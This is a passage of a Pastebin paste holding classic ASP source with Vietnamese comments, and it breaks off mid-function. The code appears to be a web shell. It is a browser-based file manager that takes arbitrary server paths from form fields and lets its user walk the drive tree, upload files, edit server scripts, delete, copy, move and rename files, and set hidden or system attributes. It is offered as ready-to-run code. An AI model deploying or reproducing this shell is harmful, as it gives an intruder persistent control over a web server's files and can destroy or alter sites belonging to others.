API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Sep 19th, 2017
103
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 59.09 KB | None | 0 0
raw download clone embed print report
  1. <%
  2.  
  3.  
  4.  
  5. dim gURL,gMsg
  6.  
  7. dim targetPath,cp_dst,mv_dst,root
  8.  
  9. dim FSO,re
  10.  
  11.  
  12.  
  13. ' ###################################### CONFIGURATION ######################################
  14.  
  15.  
  16.  
  17.  
  18.  
  19. const gMax=50 ' chieu dai toi da cho ten file
  20.  
  21.  
  22.  
  23. const lnkExt="lnk,url"
  24.  
  25. const editExt="htm,html,asp,asa,txt,inc,css,aspx,js,vbs,shtm,shtml,xml,xsl,log,ini,bat,bak,php,aspx" ' danh sach cac file cho phep edit
  26.  
  27.  
  28.  
  29. const bSize=false' co/khong hien folder-size
  30.  
  31.  
  32.  
  33. root=Server.MapPath(".") ' folder mac dinh
  34.  
  35.  
  36.  
  37. ' ###########################################################################################
  38.  
  39.  
  40.  
  41. gURL=Request.ServerVariables("SCRIPT_NAME")
  42.  
  43. Init()
  44.  
  45. if (LCase(Left(Request.ServerVariables("HTTP_CONTENT_TYPE"),19))="multipart/form-data") and (Session("allow")=1) and (Session("mode")=0) then Upload()
  46.  
  47. Secure()
  48.  
  49. if Request.Form("command")="Logout" then Logout()
  50.  
  51. if Request.Form("command")="ChangeMode" then
  52.  
  53.     Session("mode")=Request.Form("mode")
  54.  
  55.     Session("switch")=true
  56.  
  57. end if
  58.  
  59. select case Session("mode")
  60.  
  61.     case 0 myFile()
  62.  
  63.    
  64.  
  65. end select
  66.  
  67.  
  68.  
  69.  %>
  70.  
  71.  
  72.  
  73. <%
  74.  
  75. '###########################################################################################
  76.  
  77.  
  78.  
  79. sub myFile()
  80.  
  81.     if Session("switch")=true then
  82.  
  83.         targetPath=Session("targetPath")
  84.  
  85.         if targetPath="" then targetPath=root
  86.  
  87.         Session("switch")=false
  88.  
  89.     else
  90.  
  91.         targetPath=Trim(Request.Form("folder"))
  92.  
  93.         if targetPath="" then targetPath=root else targetPath=abspath(targetPath)
  94.  
  95.  
  96.  
  97.         select case Request.Form("command")
  98.  
  99.             case "Download"
  100.  
  101.                 Download()
  102.  
  103.                 exit sub
  104.  
  105.             case "Edit"
  106.  
  107.                 Editor()
  108.  
  109.                 exit sub
  110.  
  111.             case "ChangeAttributesFile","ChangeAttributesFolder"
  112.  
  113.                 ChangeAttributesItem()
  114.  
  115.                 exit sub
  116.  
  117.             case "Tree"
  118.  
  119.                 Tree()
  120.  
  121.                 exit sub
  122.  
  123.             case "Delete" Delete()
  124.  
  125.             case "Move" Move()
  126.  
  127.             case "Copy" Copy()
  128.  
  129.             case "ZipInfo" ZipInfo()
  130.  
  131.             case "NewFile","NewFolder" CreateItem()
  132.  
  133.             case "RenameFile","RenameFolder" RenameItem()
  134.  
  135.             case "OpenFolder" OpenFolder()
  136.  
  137.             case "LevelUp" targetPath=FSO.GetParentFolderName(abspath(Request.Form("folder")))
  138.  
  139.             case "LevelRoot" targetPath=findroot(abspath(Request.Form("folder")))
  140.  
  141.         end select
  142.  
  143.  
  144.  
  145.         Session("targetPath")=targetPath
  146.  
  147.     end if
  148.  
  149.    
  150.  
  151.     HtmlHeader("")
  152.  
  153.     HtmlMode()
  154.  
  155.     List()
  156.  
  157.     HtmlFooter()
  158.  
  159.     Destroy()
  160.  
  161. end sub
  162.  
  163.  
  164.  
  165. '###########################################################################################
  166.  
  167.  
  168.  
  169. %>
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176.  
  177. <%
  178.  
  179.        
  180.  
  181.  
  182.  
  183.  
  184.  
  185. '###########################################################################################
  186.  
  187.  
  188.  
  189. %>
  190.  
  191. <%
  192.  
  193. '###########################################################################################
  194.  
  195.  
  196.  
  197. function makeText(intLen)
  198.  
  199.     dim strNewText,i
  200.  
  201.     strNewText=""
  202.  
  203.     Randomize
  204.  
  205.     for i=1 to intLen
  206.  
  207.         strNewText=strNewText & Mid(charset,Int((Len(charset)-1+1)*Rnd+1),1)
  208.  
  209.     next
  210.  
  211.     makeText=strNewText
  212.  
  213. end function
  214.  
  215.  
  216.  
  217. '###########################################################################################
  218.  
  219.  
  220.  
  221. function howlong(intTime)
  222.  
  223.     if (intTime<60) then
  224.  
  225.         howlong=intTime & " second(s)"
  226.  
  227.     elseif (intTime<60*60) then
  228.  
  229.         howlong=FormatNumber(intTime/60,2) & " minute(s)"
  230.  
  231.     else
  232.  
  233.         howlong=FormatNumber(intTime/(60*60),2) & " hour(s)"
  234.  
  235.     end if
  236.  
  237. end function
  238.  
  239.  
  240.  
  241. '###########################################################################################
  242.  
  243.  
  244.  
  245. sub Tree()
  246.  
  247.     dim path
  248.  
  249.     path=abspath(Request.Form("param"))
  250.  
  251.     if FSO.FolderExists(path) then
  252.  
  253. %>
  254.  
  255. <html>
  256.  
  257. <head>
  258.  
  259. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  260.  
  261. <title><%=path%></title>
  262.  
  263. <style>
  264.  
  265. body,td{font-family:Fixedsys}
  266.  
  267. a{color:#0000ff}
  268.  
  269. </style>
  270.  
  271. </head>
  272.  
  273. <body bgcolor=#000000 text=#ffffff>
  274.  
  275. <%
  276.  
  277.         tree_dir(path)
  278.  
  279. %>
  280.  
  281. </body>
  282.  
  283. </html>
  284.  
  285. <%
  286.  
  287.     else
  288.  
  289. %>
  290.  
  291. <script>alert('Folder not found !');window.close();</script>
  292.  
  293. <%
  294.  
  295.     end if
  296.  
  297.     Destroy()
  298.  
  299. end sub
  300.  
  301.  
  302.  
  303. sub tree_dir(path)
  304.  
  305.     dim strAttrib,strSize
  306.  
  307.  
  308.  
  309.     on error resume next
  310.  
  311.  
  312.  
  313.     dim oFolder
  314.  
  315.     dim oSubFolders,oSubFolder
  316.  
  317.     dim oFiles,oFile
  318.  
  319.     dim oSubFolders2,oSubFolder2
  320.  
  321.     dim oFiles2,oFile2
  322.  
  323.  
  324.  
  325.     set oFolder=FSO.GetFolder(path)
  326.  
  327.     set oSubFolders=oFolder.SubFolders
  328.  
  329.     set oFiles=oFolder.Files
  330.  
  331.  
  332.  
  333.     Response.Write "<p>" & FSO.GetAbsolutePathName(path)
  334.  
  335.  
  336.  
  337.     strAttrib=GetAttributes(oFolder.Attributes)
  338.  
  339.  
  340.  
  341.     if strAttrib<>"&nbsp;" then Response.Write " (" & GetAttributes(oFolder.Attributes) & ")"
  342.  
  343.  
  344.  
  345.     Response.Write vbNewLine
  346.  
  347.  
  348.  
  349.     if (oSubFolders.Count>0) or (oFiles.Count>0) then
  350.  
  351. %>
  352.  
  353. <table border=0 cellspacing=1 cellpadding=2 bgcolor=#ff0000>
  354.  
  355. <tr bgcolor=#000000>
  356.  
  357.  <td><font color=#FFFF00>Name</font></td>
  358.  
  359.  <td align=center><font color=#FFFF00>Size</font></td>
  360.  
  361.  <td align=center><font color=#FFFF00>Type</font></td>
  362.  
  363.  <td align=center><font color=#FFFF00>Modified</font></td>
  364.  
  365.  <td align=center><font color=#FFFF00>Attributes</font></td>
  366.  
  367. </tr>
  368.  
  369. <%
  370.  
  371.         ' liet ke thu muc
  372.  
  373.         for each oSubFolder in oSubFolders
  374.  
  375. %>
  376.  
  377. <tr bgcolor=#000000>
  378.  
  379.  <td><%=oSubFolder.Name%></td>
  380.  
  381.  <td align=right>&nbsp;</td>
  382.  
  383.  <td align=center>DIR</td>
  384.  
  385.  <td align=center><%=FormatDate(oSubFolder.DateLastModified)%></td>
  386.  
  387.  <td><%=GetAttributes(oSubFolder.Attributes)%></td>
  388.  
  389. </tr>
  390.  
  391. <%
  392.  
  393.         next
  394.  
  395.  
  396.  
  397.         ' liet ke file
  398.  
  399.         for each oFile in oFiles
  400.  
  401. %>
  402.  
  403. <tr bgcolor=#000000>
  404.  
  405.  <td<%if (FSO.GetExtensionName(path & "\" & oFile.Name)="lnk") or (FSO.GetExtensionName(path & "\" & oFile.Name)="url") then Response.Write " title=""" & FindLink(path & "\" & oFile.Name) & """"%>><%=oFile.Name%></td>
  406.  
  407.  <td align=right><%=FormatSize(oFile.Size)%></td>
  408.  
  409.  <td align=center><%=oFile.Type%></td>
  410.  
  411.  <td align=center><%=FormatDate(oFile.DateLastModified)%></td>
  412.  
  413.  <td><%=GetAttributes(oFile.Attributes)%></td>
  414.  
  415. </tr>
  416.  
  417. <%
  418.  
  419.         next
  420.  
  421.         strSize=FormatSize(oFolder.Size)
  422.  
  423. %>
  424.  
  425. <tr bgcolor=#000000>
  426.  
  427.  <td colspan=5 align=center><%=oSubFolders.Count%> folder(s), <%=oFiles.Count%> file(s)<%if strSize<>"" then Response.Write " (" & strSize & ")"%></td>
  428.  
  429. </tr>
  430.  
  431. </table>
  432.  
  433. <%
  434.  
  435.         ' goi de qui
  436.  
  437.         for each oSubFolder in oSubFolders
  438.  
  439.             set oSubFolder2=oSubFolder.SubFolders
  440.  
  441.             set oFile2=oSubFolder.Files
  442.  
  443.  
  444.  
  445.             if (oSubFolder2.Count>0) or (oFile2.Count>0) then
  446.  
  447.                 tree_dir(oSubFolder.ParentFolder & "\" & oSubFolder.Name)
  448.  
  449.             end if
  450.  
  451.  
  452.  
  453.             set oSubFolder2=nothing
  454.  
  455.             set oFile2=nothing
  456.  
  457.         next
  458.  
  459.     end if
  460.  
  461.  
  462.  
  463.     set oSubFolder=nothing
  464.  
  465.     set oFiles=nothing
  466.  
  467.     set oFolder=nothing
  468.  
  469. end sub
  470.  
  471.  
  472.  
  473. '###########################################################################################
  474.  
  475.  
  476.  
  477. sub Editor()
  478.  
  479.     dim f,name,path
  480.  
  481.    
  482.  
  483.     on error resume next
  484.  
  485.  
  486.  
  487.     HtmlHeader("")
  488.  
  489.  
  490.  
  491.     name=Request.Form("param")
  492.  
  493.     path=addslash(targetPath) & name
  494.  
  495.  
  496.  
  497.     select case Request.Form("subcommand")
  498.  
  499.         case "Save","SaveAs"
  500.  
  501.             set f=FSO.OpenTextFile(path,2,true,-2)
  502.  
  503.             if Err.Number<>0 then
  504.  
  505.                 gMsg="Can not write to the file """ & name & """, permission denied!"
  506.  
  507.                 Err.Clear
  508.  
  509.             else
  510.  
  511.                 f.Write Request.Form("content")
  512.  
  513.             end if
  514.  
  515.             set f=nothing
  516.  
  517.             set f=FSO.OpenTextFile(path,1,false,-2)
  518.  
  519.         case else
  520.  
  521.             if not FSO.FileExists(path) then
  522.  
  523.                 gMsg="The file """ & name & """ does not exist"
  524.  
  525.                 set f=FSO.CreateTextFile(path,false)
  526.  
  527.                 if Err.Number<>0 then
  528.  
  529.                     gMsg=gMsg & ", also unable to create new file."
  530.  
  531.                     Err.Clear
  532.  
  533.                 else
  534.  
  535.                     gMsg=gMsg & ", created new file."
  536.  
  537.                 end if
  538.  
  539.             else
  540.  
  541.                 set f=FSO.OpenTextFile(path,1,false,-2)
  542.  
  543.                 if Err.Number<>0 then
  544.  
  545.                     gMsg="Can not read from the file """ & name & """, permission denied!"
  546.  
  547.                     Err.Clear
  548.  
  549.                 end if
  550.  
  551.             end if
  552.  
  553.     end select
  554.  
  555. %>
  556.  
  557. <% if gMsg<>"" then Response.Write "<script>alert('" & gMsg & "')</script>" & vbNewLine %>
  558.  
  559. <p><b>E</b>diting - "<%=path%>"<br>
  560.  
  561. <form name=frmFile method=post action="<%=gURL%>">
  562.  
  563. <b>W</b>rap<input type=checkbox id=wrap onClick="EditorCommand('WordWrap')">
  564.  
  565. <center>
  566.  
  567. <table width=100%>
  568.  
  569. <tr><td align=center>
  570.  
  571. <textarea name=content rows=25 cols=46 style="width:580;height:330" wrap=off><%=Server.HTMLEncode(f.ReadAll)%></textarea>
  572.  
  573. </td></tr>
  574.  
  575. <tr><td align=center>
  576.  
  577. <input type=button value=Save onClick="EditorCommand('Save')"> <input type=button value="Save As" onClick="EditorCommand('SaveAs')"> <input type=button value=Reload onClick="EditorCommand('Reload')"> <input type=button value=Close onClick="window.close()">
  578.  
  579. </td></tr>
  580.  
  581. </table>
  582.  
  583. </center>
  584.  
  585. <script>frmFile.content.focus()</script>
  586.  
  587. <input type=hidden name=command value=Edit>
  588.  
  589. <input type=hidden name=subcommand value="">
  590.  
  591. <input type=hidden name=param value="<%=name%>">
  592.  
  593. <input type=hidden name=folder value="<%=Request.Form("folder")%>">
  594.  
  595. </form>
  596.  
  597. <%
  598.  
  599.     set f=nothing
  600.  
  601.     HtmlJsEditor()
  602.  
  603.     HtmlFooter()
  604.  
  605.     Destroy()
  606.  
  607. end sub
  608.  
  609.  
  610.  
  611. '###########################################################################################
  612.  
  613.  
  614.  
  615. sub ChangeAttributesItem()
  616.  
  617.     dim item,itemType,itemName,itemPath,itemAttrib
  618.  
  619.    
  620.  
  621.     itemType=Request.Form("command")
  622.  
  623.     itemName=Request.Form("param")
  624.  
  625.     itemPath=addslash(targetPath) & itemName
  626.  
  627.  
  628.  
  629.     HtmlHeader("")
  630.  
  631.  
  632.  
  633.     select case itemType
  634.  
  635.         case "ChangeAttributesFile" set item=FSO.GetFile(itemPath)
  636.  
  637.         case "ChangeAttributesFolder" set item=FSO.GetFolder(itemPath)
  638.  
  639.     end select
  640.  
  641.  
  642.  
  643.     if Request.Form("subcommand")="change" then
  644.  
  645.         itemAttrib=int(Request.Form("r"))
  646.  
  647.         itemAttrib=itemAttrib+int(Request.Form("h"))
  648.  
  649.         itemAttrib=itemAttrib+int(Request.Form("a"))
  650.  
  651.         itemAttrib=itemAttrib+int(Request.Form("s"))
  652.  
  653.         on error resume next
  654.  
  655.         item.Attributes=int(itemAttrib)
  656.  
  657.         if Err.Number<>0 then Response.Write "<script>alert('Permission denined')</script>" & vbNewLine
  658.  
  659.     end if
  660.  
  661.  
  662.  
  663.     itemAttrib=item.Attributes
  664.  
  665. %>
  666.  
  667. <b>C</b>hange attributes - "<%=itemName%>"
  668.  
  669. <p align=center>
  670.  
  671. <form name=frmAttrib method=post action="<%=gURL%>">
  672.  
  673. <input type=hidden name=command value="<%=itemType%>">
  674.  
  675. <input type=hidden name=subcommand value=change>
  676.  
  677. <input type=hidden name=folder value="<%=targetPath%>">
  678.  
  679. <input type=hidden name=param value="<%=itemName%>">
  680.  
  681. <table>
  682.  
  683. <tr>
  684.  
  685.  <td><input type=checkbox name=r value=1 <%if (itemAttrib and 1)>0 then Response.Write " checked"%>>Read-only</td>
  686.  
  687.  <td><input type=checkbox name=h value=2 <%if (itemAttrib and 2)>0 then Response.Write " checked"%>>Hidden</td>
  688.  
  689. </tr>
  690.  
  691. <tr>
  692.  
  693.  <td><input type=checkbox name=a value=32 <%if (itemAttrib and 32)>0 then Response.Write " checked"%>>Archive</td>
  694.  
  695.  <td><input type=checkbox name=s value=4 <%if (itemAttrib and 4)>0 then Response.Write " checked"%>>System</td>
  696.  
  697. </tr>
  698.  
  699. </table><br>
  700.  
  701. <input type=button value=OK onClick="frmAttrib.submit()"> <input type=button value=Close onClick="window.close()">
  702.  
  703. </form>
  704.  
  705. </p>
  706.  
  707. <%
  708.  
  709.     set itemType=nothing
  710.  
  711.     HtmlFooter()
  712.  
  713.     Destroy()
  714.  
  715. end sub
  716.  
  717.  
  718.  
  719. '###########################################################################################
  720.  
  721.  
  722.  
  723. sub OpenFolder()
  724.  
  725.     if Trim(Request.Form("folder"))="" then
  726.  
  727.         if Trim(Request.Form("param"))="" then targetPath=root else targetPath=abspath(Trim(Request.Form("param")))
  728.  
  729.     else
  730.  
  731.         targetPath=addslash(Trim(Request.Form("folder"))) & Trim(Request.Form("param"))
  732.  
  733.     end if
  734.  
  735. end sub
  736.  
  737.  
  738.  
  739. '###########################################################################################
  740.  
  741.  
  742.  
  743. sub CreateItem()
  744.  
  745.     dim itemType,itemName,itemPath 
  746.  
  747.     itemType=request.form("command")
  748.  
  749.     itemName=request.form("param")
  750.  
  751.     itemPath=addslash(targetPath) & itemName
  752.  
  753.  
  754.  
  755.     on error resume next
  756.  
  757.  
  758.  
  759.     select case itemType
  760.  
  761.         case "NewFolder"
  762.  
  763.             if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
  764.  
  765.                 FSO.CreateFolder(itemPath)
  766.  
  767.                 if Err.Number<>0 then
  768.  
  769.                     gMsg="Unable to create the folder """ & itemName & """, an error occured..."
  770.  
  771.                 else
  772.  
  773.                     gMsg="Created the folder """ & itemName & """..."
  774.  
  775.                 end if
  776.  
  777.             else
  778.  
  779.                 gMsg="Unable to create the folder """ & itemName & """, there exists a file or a folder with the same name..."
  780.  
  781.             end if
  782.  
  783.         case "NewFile"
  784.  
  785.             if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
  786.  
  787.                 FSO.CreateTextFile(itemPath)
  788.  
  789.                 if Err.Number<>0 then
  790.  
  791.                     gMsg="Unable to create the file """ & itemName & """, an error occured..."
  792.  
  793.                 else
  794.  
  795.                     gMsg="Created the file """ & itemName & """..."
  796.  
  797.                 end if
  798.  
  799.             else
  800.  
  801.                 gMsg="Unable to create the file """ & itemName & """, there exists a file or a folder with the same name..."
  802.  
  803.             end if
  804.  
  805.     end select
  806.  
  807. end sub
  808.  
  809.  
  810.  
  811. '###########################################################################################
  812.  
  813.  
  814.  
  815. sub ZipInfo()
  816.  
  817.     dim path,zip,zipfile,i
  818.  
  819.  
  820.  
  821.     path=addslash(targetPath) & Request.Form("param")
  822.  
  823. %>
  824.  
  825. <html>
  826.  
  827. <head>
  828.  
  829. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  830.  
  831. <title><%=path%></title>
  832.  
  833. <style>
  834.  
  835. body,td{font-family:Fixedsys}
  836.  
  837. a{color:#0000ff}
  838.  
  839. </style>
  840.  
  841. </head>
  842.  
  843. <body bgcolor=#000000 text=#ffffff>
  844.  
  845. <p><%=path%>
  846.  
  847. <table border=0 cellspacing=1 cellpadding=2 bgcolor=#ff0000>
  848.  
  849. <tr bgcolor=#000000>
  850.  
  851.  <td><font color=#FFFF00>Name</font></td>
  852.  
  853.  <td align=center><font color=#FFFF00>Size</font></td>
  854.  
  855.  <td align=center><font color=#FFFF00>Ratio</font></td>
  856.  
  857.  <td align=center><font color=#FFFF00>Packed</font></td>
  858.  
  859.  <td align=center><font color=#FFFF00>Modify</font></td>
  860.  
  861.  <td align=center><font color=#FFFF00>Path</font></td>
  862.  
  863. </tr>
  864.  
  865. <%
  866.  
  867.     set zip=new clszip
  868.  
  869.     zip.ZipLoad(path)
  870.  
  871.     set zipfile=new clsZipFile
  872.  
  873.  
  874.  
  875.     for i=1 to zip.FileCount
  876.  
  877.         set zipfile=zip.GetFile(i)
  878.  
  879.         with zipfile
  880.  
  881.             if not (.IsFolder Or .IsOverall) then
  882.  
  883.                 Response.Write "<tr bgcolor=#000000>" & vbNewLine
  884.  
  885.                 Response.Write " <td>" & .Name & "</td>" & vbNewLine
  886.  
  887.                 Response.Write " <td align=right>" & FormatNumber(.Size,0) & "</td>" & vbNewLine
  888.  
  889.                 Response.Write " <td align=right>" & .Ratio & "</td>" & vbNewLine
  890.  
  891.                 Response.Write " <td align=right>" & FormatNumber(.Packed,0) & "</td>" & vbNewLine
  892.  
  893.                 Response.Write " <td align=center>" & FormatDate(.Modified) & "</td>" & vbNewLine
  894.  
  895.                 Response.Write " <td>" & .Path & "</td>" & vbNewLine
  896.  
  897.             end if
  898.  
  899.         end with
  900.  
  901.     next
  902.  
  903.    
  904.  
  905.     set ZipFile=nothing
  906.  
  907.     set zip=nothing
  908.  
  909. %>
  910.  
  911. </table>
  912.  
  913. </p>
  914.  
  915. <%
  916.  
  917.     HtmlFooter()
  918.  
  919.     Destroy()
  920.  
  921. end sub
  922.  
  923.  
  924.  
  925. '###########################################################################################
  926.  
  927.  
  928.  
  929. sub Delete()
  930.  
  931.     dim i,ndir,nfile,itemName,itemPath
  932.  
  933.  
  934.  
  935.     on error resume next
  936.  
  937.  
  938.  
  939.     ndir=Request.Form("d").Count
  940.  
  941.     nfile=Request.Form("f").Count
  942.  
  943.  
  944.  
  945.     if (ndir>0) then
  946.  
  947.         gMsg="<b>D</b>elete folder(s)..."
  948.  
  949.         for i=1 to ndir
  950.  
  951.             itemName=Request.Form("d")(i)
  952.  
  953.             itemPath=addslash(targetPath) & itemName
  954.  
  955.             FSO.DeleteFolder itemPath,true
  956.  
  957.             gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
  958.  
  959.             if Err.Number<>0 then
  960.  
  961.                 gMsg=gMsg & "error"
  962.  
  963.             else
  964.  
  965.                 gMsg=gMsg & "success"
  966.  
  967.             end if
  968.  
  969.         next
  970.  
  971.     end if
  972.  
  973.  
  974.  
  975.     if (nfile>0) then
  976.  
  977.         if (ndir>0) then gMsg= gMsg & "<p>" & vbNewLine
  978.  
  979.         gMsg=gMsg & "<b>D</b>elete file(s)..."
  980.  
  981.         for i=1 to nfile
  982.  
  983.             itemName=Request.Form("f")(i)
  984.  
  985.             itemPath=addslash(targetPath) & itemName
  986.  
  987.             FSO.DeleteFile itemPath,true
  988.  
  989.             gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
  990.  
  991.             if Err.Number<>0 then
  992.  
  993.                 gMsg=gMsg & "error"
  994.  
  995.             else
  996.  
  997.                 gMsg=gMsg & "success"
  998.  
  999.             end if
  1000.  
  1001.         next
  1002.  
  1003.     end if
  1004.  
  1005.  
  1006.  
  1007. end sub
  1008.  
  1009.  
  1010.  
  1011. '###########################################################################################
  1012.  
  1013.  
  1014.  
  1015. sub Copy()
  1016.  
  1017.     dim i,nfile,ndir,itemName,itemPath
  1018.  
  1019.    
  1020.  
  1021.     on error resume next
  1022.  
  1023.  
  1024.  
  1025.     cp_dst=Trim(Request.Form("cp"))
  1026.  
  1027.     if cp_dst="" then exit sub
  1028.  
  1029.     cp_dst=abspath(cp_dst)
  1030.  
  1031.     Session("cp_dst")=cp_dst
  1032.  
  1033.  
  1034.  
  1035.     if FSO.FolderExists(cp_dst)=false then
  1036.  
  1037.         gMsg="<p>Folder not exists" & vbNewLine
  1038.  
  1039.         exit sub
  1040.  
  1041.     end if
  1042.  
  1043.  
  1044.  
  1045.     ndir=Request.Form("d").Count
  1046.  
  1047.     nfile=Request.Form("f").Count
  1048.  
  1049.  
  1050.  
  1051.     if (ndir>0) then
  1052.  
  1053.         gMsg="<b>C</b>opying folder(s) to """ & cp_dst & """ ..."
  1054.  
  1055.         for i=1 to ndir
  1056.  
  1057.             itemName=Request.Form("d")(i)
  1058.  
  1059.             itemPath=addslash(targetPath) & itemName
  1060.  
  1061.             FSO.CopyFolder itemPath,addslash(cp_dst),true
  1062.  
  1063.             gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
  1064.  
  1065.             if Err.Number<>0 then
  1066.  
  1067.                 gMsg=gMsg & "error"
  1068.  
  1069.             else
  1070.  
  1071.                 gMsg=gMsg & "success"
  1072.  
  1073.             end if
  1074.  
  1075.         next
  1076.  
  1077.     end if
  1078.  
  1079.  
  1080.  
  1081.     if (nfile>0) then
  1082.  
  1083.         if (ndir>0) then gMsg= gMsg & "<p>" & vbNewLine
  1084.  
  1085.         gMsg=gMsg & "<b>C</b>opying file(s) to """ & cp_dst & """ ..."
  1086.  
  1087.         for i=1 to nfile
  1088.  
  1089.             itemName=Request.Form("f")(i)
  1090.  
  1091.             itemPath=addslash(targetPath) & itemName
  1092.  
  1093.             FSO.CopyFile itemPath,addslash(cp_dst),true
  1094.  
  1095.             gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
  1096.  
  1097.             if Err.Number<>0 then gMsg=gMsg & "error" else gMsg=gMsg & "success"
  1098.  
  1099.         next
  1100.  
  1101.     end if
  1102.  
  1103.  
  1104.  
  1105. end sub
  1106.  
  1107.  
  1108.  
  1109. '###########################################################################################
  1110.  
  1111.  
  1112.  
  1113. sub Move()
  1114.  
  1115.     dim i,nfile,ndir,itemName,itemPath
  1116.  
  1117.    
  1118.  
  1119.     on error resume next
  1120.  
  1121.  
  1122.  
  1123.     mv_dst=Trim(Request.Form("mv"))
  1124.  
  1125.     if mv_dst="" then exit sub
  1126.  
  1127.     mv_dst=abspath(mv_dst)
  1128.  
  1129.     Session("mv_dst")=mv_dst
  1130.  
  1131.  
  1132.  
  1133.     if FSO.FolderExists(mv_dst)=false then
  1134.  
  1135.         gMsg="<p>Folder not exists" & vbNewLine
  1136.  
  1137.         exit sub
  1138.  
  1139.     end if
  1140.  
  1141.  
  1142.  
  1143.     ndir=Request.Form("d").Count
  1144.  
  1145.     nfile=Request.Form("f").Count
  1146.  
  1147.  
  1148.  
  1149.     if (ndir>0) then
  1150.  
  1151.         gMsg="<b>M</b>oving folder(s) to """ & mv_dst & """ ..."
  1152.  
  1153.         for i=1 to ndir
  1154.  
  1155.             itemName=Request.Form("d")(i)
  1156.  
  1157.             itemPath=addslash(targetPath) & itemName
  1158.  
  1159.             gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
  1160.  
  1161.             FSO.MoveFolder itemPath,addslash(mv_dst)
  1162.  
  1163.             if Err.Number<>0 then gMsg=gMsg & "error" else gMsg=gMsg & "success"
  1164.  
  1165.             set item=nothing
  1166.  
  1167.         next
  1168.  
  1169.     end if
  1170.  
  1171.  
  1172.  
  1173.     if (nfile>0) then
  1174.  
  1175.         if (ndir>0) then gMsg= gMsg & "<p>" & vbNewLine
  1176.  
  1177.         gMsg=gMsg & "<b>M</b>oving file(s) to """ & mv_dst & """ ..."
  1178.  
  1179.         for i=1 to nfile
  1180.  
  1181.             itemName=Request.Form("f")(i)
  1182.  
  1183.             itemPath=addslash(targetPath) & itemName
  1184.  
  1185.             gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
  1186.  
  1187.             FSO.MoveFile itemPath,addslash(mv_dst)
  1188.  
  1189.             if Err.Number<>0 then gMsg=gMsg & "error" else gMsg=gMsg & "success"
  1190.  
  1191.         next
  1192.  
  1193.     end if
  1194.  
  1195. end sub
  1196.  
  1197.  
  1198.  
  1199. '###########################################################################################
  1200.  
  1201.  
  1202.  
  1203. sub RenameItem()
  1204.  
  1205.     dim item,itemType,itemName,itemPath
  1206.  
  1207.     dim param,newName
  1208.  
  1209.  
  1210.  
  1211.     itemType=request.form("command")
  1212.  
  1213.     param=split(request.form("param"),"|")
  1214.  
  1215.     itemName=param(0)
  1216.  
  1217.     newName=param(1)
  1218.  
  1219.     itemPath=addslash(targetPath) & newName
  1220.  
  1221.  
  1222.  
  1223.     on error resume next
  1224.  
  1225.  
  1226.  
  1227.     select case itemType
  1228.  
  1229.         case "RenameFolder"
  1230.  
  1231.             if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
  1232.  
  1233.                 itemPath=addslash(targetPath) & itemName
  1234.  
  1235.                 set item=FSO.GetFolder(itemPath)
  1236.  
  1237.                 item.Name=newName
  1238.  
  1239.                 if Err.Number<>0 then
  1240.  
  1241.                     gMsg="Unable to rename the folder """ & itemName & """, an error occured..."
  1242.  
  1243.                 else
  1244.  
  1245.                     gMsg="Renamed the folder """ & itemName & """ to """ & newName & """..."
  1246.  
  1247.                 end if
  1248.  
  1249.             else
  1250.  
  1251.                 gMsg="Unable to rename the folder """ & itemName & """, there exists a file or a folder with the new name """ & newName & """..."
  1252.  
  1253.             end if
  1254.  
  1255.         case "RenameFile"
  1256.  
  1257.             if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
  1258.  
  1259.                 itemPath=addslash(targetPath) & itemName
  1260.  
  1261.                 set item=FSO.GetFile(itemPath)
  1262.  
  1263.                 item.Name=newName
  1264.  
  1265.                 if Err.Number<>0 then
  1266.  
  1267.                     gMsg="Unable to rename the file """ & itemName & """, an error occured..."
  1268.  
  1269.                 else
  1270.  
  1271.                     gMsg="Renamed the file """ & itemName & """ to """ & newName & """..."
  1272.  
  1273.                 end if
  1274.  
  1275.             else
  1276.  
  1277.                 gMsg="Unable to rename the file """ & itemName & """, there exists a file or a folder with the new name """ & newName & """..."
  1278.  
  1279.             end if
  1280.  
  1281.     end select
  1282.  
  1283.  
  1284.  
  1285.     set item=nothing
  1286.  
  1287. end sub
  1288.  
  1289.  
  1290.  
  1291. '###########################################################################################
  1292.  
  1293.  
  1294.  
  1295. sub List()
  1296.  
  1297.     dim objFolder,folder,item,intCount,bOpen,ext,count
  1298.  
  1299.     if not FSO.FolderExists(targetPath) then
  1300.  
  1301.         gMsg="Folder not found"
  1302.  
  1303.     else
  1304.  
  1305.         on error resume next
  1306.  
  1307.         set objFolder=FSO.GetFolder(targetPath)
  1308.  
  1309.         if Err.Number<>0 then
  1310.  
  1311.             gMsg="Can't open folder"
  1312.  
  1313.         else
  1314.  
  1315.             intCount=objFolder.SubFolders.Count+objFolder.Files.Count
  1316.  
  1317.             if Err.Number<>0 then
  1318.  
  1319.                 gMsg="Permission denied"
  1320.  
  1321.             else
  1322.  
  1323. %>
  1324.  
  1325. <input type=button value=Refresh onClick="Command('Refresh')">
  1326.  
  1327. <input type=button value="New File" onClick="Command('NewFile')">
  1328.  
  1329. <input type=button value="New Folder" onClick="Command('NewFolder')">
  1330.  
  1331. <input type=button value=Upload onClick="frmUpload.max.focus()">
  1332.  
  1333. <input type=button value=Tree onClick="Command('Tree')">
  1334.  
  1335. <%
  1336.  
  1337.                 bOpen=true
  1338.  
  1339.             end if
  1340.  
  1341.         end if
  1342.  
  1343.     end if
  1344.  
  1345.     HtmlQuick()
  1346.  
  1347.     if gMsg<>"" then Response.Write "<p>" & gMsg & vbNewLine
  1348.  
  1349.     if bOpen then
  1350.  
  1351.         count=0
  1352.  
